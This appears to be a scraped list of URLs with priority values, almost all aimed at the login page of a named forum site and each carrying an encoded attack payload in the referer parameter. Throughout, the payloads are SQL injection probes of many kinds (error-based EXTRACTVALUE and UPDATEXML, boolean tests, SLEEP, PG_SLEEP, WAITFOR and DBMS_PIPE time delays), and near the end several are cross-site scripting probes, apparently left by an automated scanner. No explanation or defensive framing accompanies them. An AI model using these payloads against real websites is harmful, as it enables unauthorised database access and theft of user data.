http://www.cncml.com/member.php?mod=logging&action=login&referer=http%3A%2F%2Fbbs.cncml.com%2F.%2F'%20OR%20(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20OR%20'zl'='lz 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&referer=http%3A%2F%2Fbbs.cncml.com%2F.%2F'%20OR%201122=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL)%20OR%20'NASDAQ'='ASDAQ 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&referer=http%3A%2F%2Fbbs.cncml.com%2F.%2F'%20OR%201122=CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20OR%20'Ta'='At 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&referer=http%3A%2F%2Fbbs.cncml.com%2F.%2F'%20OR%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20OR%20'zl'='lz 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&referer=http%3A%2F%2Fbbs.cncml.com%2F.%2F'%20OR%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20OR%20'zl'='lz 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&referer=http%3A%2F%2Fbbs.cncml.com%2F.%2F'%20RLIKE%20(SELECT%20(CASE%20WHEN%20(12=34)%20THEN%200x687474702533412532462532466262732E636E636D6C2E636F6D2532462E253246%20ELSE%200x28%20END))%20AND%20'mA'='mA 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&referer=http%3A%2F%2Fbbs.cncml.com%2F.%2F'%20RLIKE%20(SELECT%20(CASE%20WHEN%20(81=93)%20THEN%200x687474702533412532462532466262732E636E636D6C2E636F6D2532462E253246%20ELSE%200x28%20END))%20AND%20'Cs'='Cs 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&referer=http%3A%2F%2Fbbs.cncml.com%2F.%2F'%20RLIKE%20(SELECT%20(CASE%20WHEN%20(86=86)%20THEN%200x687474702533412532462532466262732E636E636D6C2E636F6D2532462E253246%20ELSE%200x28%20END))%20AND%20'Xo'='Xo 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&referer=http%3A%2F%2Fbbs.cncml.com%2F.%2F'%20RLIKE%20(SELECT%20(CASE%20WHEN%20(92=92)%20THEN%200x687474702533412532462532466262732E636E636D6C2E636F6D2532462E253246%20ELSE%200x28%20END))%20AND%20'mH'='mH 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&referer=http%3A%2F%2Fbbs.cncml.com%2F.%2F'%2b(SELECT%20CONVERT(INT,CHAR(106)%2bCHAR(106)%2bCHAR(106))%20FROM%20SYSCOLUMNS)%2b' 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&referer=http%3A%2F%2Fbbs.cncml.com%2F.%2F'%7C%7CCTXSYS.DRITHSX.SN(user,(select%20chr(104)%7C%7Cchr(105)%7C%7Cchr(58)%7C%7Cchr(102)%7C%7Cchr(105)%7C%7Cchr(110)%7C%7Cchr(100)%7C%7Cchr(58)%7C%7Cchr(105)%7C%7Cchr(116)%20from%20DUAL))%7C%7C' 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&referer=http%3A%2F%2Fbbs.cncml.com%2F.%2F')%20AND%20('96'%20LIKE%20'96 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&referer=http%3A%2F%2Fbbs.cncml.com%2F.%2F')%20AND%20('Ef'%20LIKE%20'dd 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&referer=http%3A%2F%2Fbbs.cncml.com%2F.%2F')%20AND%20('U8'%20LIKE%20'U8 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&referer=http%3A%2F%2Fbbs.cncml.com%2F.%2F')%20AND%20('em'%20LIKE%20'4v 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&referer=http%3A%2F%2Fbbs.cncml.com%2F.%2F')%20AND%201122=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL)%20AND%20('NASDAQ'='NASDAQ 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&referer=http%3A%2F%2Fbbs.cncml.com%2F.%2F')%20AND%201122=CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20AND%20('Ta'='Ta 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&referer=http%3A%2F%2Fbbs.cncml.com%2F.%2F')%20AND%2018=66%20AND%20('rT'='rT 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&referer=http%3A%2F%2Fbbs.cncml.com%2F.%2F')%20AND%201997=DBMS_PIPE.RECEIVE_MESSAGE(CHR(115)%7C%7CCHR(99)%7C%7CCHR(97)%7C%7CCHR(100),5)%20AND%20('TnT'='TnT 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&referer=http%3A%2F%2Fbbs.cncml.com%2F.%2F')%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20AND%20('eEye'='eEye 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&referer=http%3A%2F%2Fbbs.cncml.com%2F.%2F')%20AND%201=CHAR(106)%2bCHAR(106)%2bCHAR(106)%20AND%20('eEye'='eEye 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&referer=http%3A%2F%2Fbbs.cncml.com%2F.%2F')%20AND%2071=71%20AND%20('eEye'='eEye 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&referer=http%3A%2F%2Fbbs.cncml.com%2F.%2F')%20AND%2081=81%20AND%20('eEye'='eEye 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&referer=http%3A%2F%2Fbbs.cncml.com%2F.%2F')%20AND%2099=41%20AND%20('7C'='7C 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&referer=http%3A%2F%2Fbbs.cncml.com%2F.%2F')%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20AND%20('eEye'='eEye 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&referer=http%3A%2F%2Fbbs.cncml.com%2F.%2F')%20AND%20SLEEP(5)%20AND%20('eEye'='eEye 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&referer=http%3A%2F%2Fbbs.cncml.com%2F.%2F')%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20AND%20('eEye'='eEye 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&referer=http%3A%2F%2Fbbs.cncml.com%2F.%2F')%20OR%20(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20OR%20('eEye'='eye 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&referer=http%3A%2F%2Fbbs.cncml.com%2F.%2F')%20OR%2082=82%20AND%20('CH'='CH 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&referer=http%3A%2F%2Fbbs.cncml.com%2F.%2F')%20OR%2089=89%20AND%20('eo'='eo 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&referer=http%3A%2F%2Fbbs.cncml.com%2F.%2F')%20RLIKE%20(SELECT%20(CASE%20WHEN%20(42=42)%20THEN%200x687474702533412532462532466262732E636E636D6C2E636F6D2532462E253246%20ELSE%200x28%20END))%20AND%20('qn'='qn 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&referer=http%3A%2F%2Fbbs.cncml.com%2F.%2F')%20RLIKE%20(SELECT%20(CASE%20WHEN%20(45=19)%20THEN%200x687474702533412532462532466262732E636E636D6C2E636F6D2532462E253246%20ELSE%200x28%20END))%20AND%20('ct'='ct 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&referer=http%3A%2F%2Fbbs.cncml.com%2F.%2F')%20RLIKE%20(SELECT%20(CASE%20WHEN%20(54=54)%20THEN%200x687474702533412532462532466262732E636E636D6C2E636F6D2532462E253246%20ELSE%200x28%20END))%20AND%20('yL'='yL 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&referer=http%3A%2F%2Fbbs.cncml.com%2F.%2F')%20RLIKE%20(SELECT%20(CASE%20WHEN%20(81=88)%20THEN%200x687474702533412532462532466262732E636E636D6C2E636F6D2532462E253246%20ELSE%200x28%20END))%20AND%20('TA'='TA 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&referer=http%3A%2F%2Fbbs.cncml.com%2F.%2F'/**/AND/**/1=CHAR(106)%2bCHAR(106)%2bCHAR(106)/**/AND/**/'zl'='zl 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&referer=http%3A%2F%2Fbbs.cncml.com%2F.%2F)%20AND%201122=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL)%20AND%20(2014=2014 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&referer=http%3A%2F%2Fbbs.cncml.com%2F.%2F)%20AND%201122=CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20AND%20(2014=2014 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&referer=http%3A%2F%2Fbbs.cncml.com%2F.%2F)%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20AND%20(9=9 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&referer=http%3A%2F%2Fbbs.cncml.com%2F.%2F)%20AND%201=CHAR(106)%2bCHAR(106)%2bCHAR(106)%20AND%20(9=9 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&referer=http%3A%2F%2Fbbs.cncml.com%2F.%2F)%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20AND%20(9=9 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&referer=http%3A%2F%2Fbbs.cncml.com%2F.%2F)%20AND%20SLEEP(5)%20AND%20(9=9 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&referer=http%3A%2F%2Fbbs.cncml.com%2F.%2F)%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20AND%20(9=9 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&referer=http%3A%2F%2Fbbs.cncml.com%2F.%2F)%20OR%20(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20OR%20(9=8 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&referer=http%3A%2F%2Fbbs.cncml.com%2F.%2F)%20RLIKE%20(SELECT%20(CASE%20WHEN%20(11=25)%20THEN%200x687474702533412532462532466262732E636E636D6C2E636F6D2532462E253246%20ELSE%200x28%20END))%20AND%20(11=11 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&referer=http%3A%2F%2Fbbs.cncml.com%2F.%2F)%20RLIKE%20(SELECT%20(CASE%20WHEN%20(41=41)%20THEN%200x687474702533412532462532466262732E636E636D6C2E636F6D2532462E253246%20ELSE%200x28%20END))%20AND%20(81=81 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&referer=http%3A%2F%2Fbbs.cncml.com%2F.%2F)%20RLIKE%20(SELECT%20(CASE%20WHEN%20(63=18)%20THEN%200x687474702533412532462532466262732E636E636D6C2E636F6D2532462E253246%20ELSE%200x28%20END))%20AND%20(63=63 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&referer=http%3A%2F%2Fbbs.cncml.com%2F.%2F)%20RLIKE%20(SELECT%20(CASE%20WHEN%20(91=91)%20THEN%200x687474702533412532462532466262732E636E636D6C2E636F6D2532462E253246%20ELSE%200x28%20END))%20AND%20(95=95 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&referer=http%3A%2F%2Fbbs.cncml.com%2F.%2F,%201122=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL) 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&referer=http%3A%2F%2Fbbs.cncml.com%2F.%2F,%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1)) 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&referer=http%3A%2F%2Fbbs.cncml.com%2F.%2F,(SELECT%20(CASE%20WHEN%20(13=13)%20THEN%200x687474702533412532462532466262732E636E636D6C2E636F6D2532462E253246%20ELSE%20CAST(1%20AS%20INT)/(SELECT%200%20FROM%20DUAL)%20END)%20FROM%20DUAL) 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&referer=http%3A%2F%2Fbbs.cncml.com%2F.%2F,(SELECT%20(CASE%20WHEN%20(14=49)%20THEN%200x687474702533412532462532466262732E636E636D6C2E636F6D2532462E253246%20ELSE%2014*(SELECT%2014%20FROM%20mysql.db)%20END)) 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&referer=http%3A%2F%2Fbbs.cncml.com%2F.%2F,(SELECT%20(CASE%20WHEN%20(32=78)%20THEN%200x687474702533412532462532466262732E636E636D6C2E636F6D2532462E253246%20ELSE%2032*(SELECT%2032%20FROM%20INFORMATION_SCHEMA.CHARACTER_SETS)%20END)) 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&referer=http%3A%2F%2Fbbs.cncml.com%2F.%2F,(SELECT%20(CASE%20WHEN%20(42=42)%20THEN%200x687474702533412532462532466262732E636E636D6C2E636F6D2532462E253246%20ELSE%2042*(SELECT%2042%20FROM%20INFORMATION_SCHEMA.CHARACTER_SETS)%20END)) 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&referer=http%3A%2F%2Fbbs.cncml.com%2F.%2F,(SELECT%20(CASE%20WHEN%20(43=43)%20THEN%200x687474702533412532462532466262732E636E636D6C2E636F6D2532462E253246%20ELSE%20CAST(1%20AS%20INT)/(SELECT%200%20FROM%20DUAL)%20END)%20FROM%20DUAL) 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&referer=http%3A%2F%2Fbbs.cncml.com%2F.%2F,(SELECT%20(CASE%20WHEN%20(47=47)%20THEN%200x687474702533412532462532466262732E636E636D6C2E636F6D2532462E253246%20ELSE%2047*(SELECT%2047%20FROM%20INFORMATION_SCHEMA.CHARACTER_SETS)%20END)) 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&referer=http%3A%2F%2Fbbs.cncml.com%2F.%2F,(SELECT%20(CASE%20WHEN%20(5=5)%20THEN%20SLEEP(5)%20ELSE%205*(SELECT%205%20FROM%20INFORMATION_SCHEMA.CHARACTER_SETS)%20END)) 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&referer=http%3A%2F%2Fbbs.cncml.com%2F.%2F,(SELECT%20(CASE%20WHEN%20(66=16)%20THEN%200x687474702533412532462532466262732E636E636D6C2E636F6D2532462E253246%20ELSE%2066*(SELECT%2066%20FROM%20INFORMATION_SCHEMA.CHARACTER_SETS)%20END)) 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&referer=http%3A%2F%2Fbbs.cncml.com%2F.%2F,(SELECT%20(CASE%20WHEN%20(72=72)%20THEN%200x687474702533412532462532466262732E636E636D6C2E636F6D2532462E253246%20ELSE%2072*(SELECT%2072%20FROM%20mysql.db)%20END)) 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&referer=http%3A%2F%2Fbbs.cncml.com%2F.%2F,(SELECT%20(CASE%20WHEN%20(78=73)%20THEN%200x687474702533412532462532466262732E636E636D6C2E636F6D2532462E253246%20ELSE%20CAST(1%20AS%20INT)/(SELECT%200%20FROM%20DUAL)%20END)%20FROM%20DUAL) 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&referer=http%3A%2F%2Fbbs.cncml.com%2F.%2F,(SELECT%20(CASE%20WHEN%20(81=81)%20THEN%200x687474702533412532462532466262732E636E636D6C2E636F6D2532462E253246%20ELSE%2081*(SELECT%2081%20FROM%20mysql.db)%20END)) 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&referer=http%3A%2F%2Fbbs.cncml.com%2F.%2F,(SELECT%20(CASE%20WHEN%20(91=96)%20THEN%200x687474702533412532462532466262732E636E636D6C2E636F6D2532462E253246%20ELSE%2091*(SELECT%2091%20FROM%20mysql.db)%20END)) 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&referer=http%3A%2F%2Fbbs.cncml.com%2F.%2F,(SELECT%20(CASE%20WHEN%20(99=33)%20THEN%200x687474702533412532462532466262732E636E636D6C2E636F6D2532462E253246%20ELSE%20CAST(1%20AS%20INT)/(SELECT%200%20FROM%20DUAL)%20END)%20FROM%20DUAL) 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&referer=http%3A%2F%2Fbbs.cncml.com%2F.%2F,(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a) 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&referer=http%3A%2F%2Fbbs.cncml.com%2F.%2F,(SELECT%20CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20FROM%20SYSCOLUMNS) 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&referer=http%3A%2F%2Fbbs.cncml.com%2F.%2F,EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74)) 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&referer=http%3A%2F%2Fbbs.cncml.com%2F.%2F/**/AND/**/1=CHAR(106)%2bCHAR(106)%2bCHAR(106) 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&referer=http%3A%2F%2Fbbs.cncml.com%2F.%2F1 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&referer=http%3A%2F%2Fbbs.cncml.com%2F.%2F;%201997=DBMS_PIPE.RECEIVE_MESSAGE(CHR(115)%7C%7CCHR(99)%7C%7CCHR(97)%7C%7CCHR(100),5) 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&referer=http%3A%2F%2Fbbs.cncml.com%2F.%2F;%20SELECT%20SLEEP(5) 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&referer=http%3A%2F%2Fbbs.cncml.com%2F.%2F;SELECT%20PG_SLEEP(5) 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&referer=http%3A%2F%2Fbbs.cncml.com%2F.%2FAND%20(SELECT%20*%20FROM%20(SELECT(SLEEP(5)))uttes) 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&referer=http%3A%2F%2Fbbs.cncml.com%2F.%2FAND%201997=(SELECT%205%20FROM%20PG_SLEEP(5)) 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&referer=http%3A%2F%2Fbbs.cncml.com%2F.%2Fa' 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&referer=http%3A%2F%2Fwww.cncml.com%2F.%2F 0.0015 http://www.cncml.com/member.php?mod=logging&action=login&referer=http%3A%2F%2Fwww.cncml.com%2F.%2F!(%28%29&%26%21%7C*%7C%2A%7C 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&referer=http%3A%2F%2Fwww.cncml.com%2F.%2F%00' 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&referer=http%3A%2F%2Fwww.cncml.com%2F.%2F%20 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&referer=http%3A%2F%2Fwww.cncml.com%2F.%2F%20AND%201122=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL) 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&referer=http%3A%2F%2Fwww.cncml.com%2F.%2F%20AND%201122=CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&referer=http%3A%2F%2Fwww.cncml.com%2F.%2F%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%23 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&referer=http%3A%2F%2Fwww.cncml.com%2F.%2F%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%2523 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&referer=http%3A%2F%2Fwww.cncml.com%2F.%2F%20AND%201=CHAR(106)%2bCHAR(106)%2bCHAR(106) 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&referer=http%3A%2F%2Fwww.cncml.com%2F.%2F%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%23 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&referer=http%3A%2F%2Fwww.cncml.com%2F.%2F%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%2523 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&referer=http%3A%2F%2Fwww.cncml.com%2F.%2F%20AND%20SLEEP(5) 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&referer=http%3A%2F%2Fwww.cncml.com%2F.%2F%20AND%20SLEEP(5)%20%23 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&referer=http%3A%2F%2Fwww.cncml.com%2F.%2F%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20AND%201=1 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&referer=http%3A%2F%2Fwww.cncml.com%2F.%2F%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT(1,(SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20AND%201=1 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&referer=http%3A%2F%2Fwww.cncml.com%2F.%2F%20WAITFOR%20DELAY%20'0:0:5'%20-- 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&referer=http%3A%2F%2Fwww.cncml.com%2F.%2F%22%20onmousemove='alert(42873)'wb=%22 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&referer=http%3A%2F%2Fwww.cncml.com%2F.%2F%22%20onmousemove=alert(42873)%20wb=%22 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&referer=http%3A%2F%2Fwww.cncml.com%2F.%2F%22%20onmouseover=prompt(42873)%20bad=%22 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&referer=http%3A%2F%2Fwww.cncml.com%2F.%2F%22%20onmouseover=propromptmpt(42873)%20bad=%22 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&referer=http%3A%2F%2Fwww.cncml.com%2F.%2F%25%27%29%20AND%2027%3D19%20AND%201%20like%28%27%25 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&referer=http%3A%2F%2Fwww.cncml.com%2F.%2F%25%27%29%20AND%2082%3D82%20AND%201%20like%28%27%25 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&referer=http%3A%2F%2Fwww.cncml.com%2F.%2F%25'%20AND%201122=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL)%20AND%20'%25'=' 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&referer=http%3A%2F%2Fwww.cncml.com%2F.%2F%25'%20AND%201122=CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20AND%20'%25'=' 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&referer=http%3A%2F%2Fwww.cncml.com%2F.%2F%25'%20AND%201997=DBMS_PIPE.RECEIVE_MESSAGE(CHR(115)%7C%7CCHR(99)%7C%7CCHR(97)%7C%7CCHR(100),5)%20AND%20'%25'=' 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&referer=http%3A%2F%2Fwww.cncml.com%2F.%2F%25'%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%23 0.0001 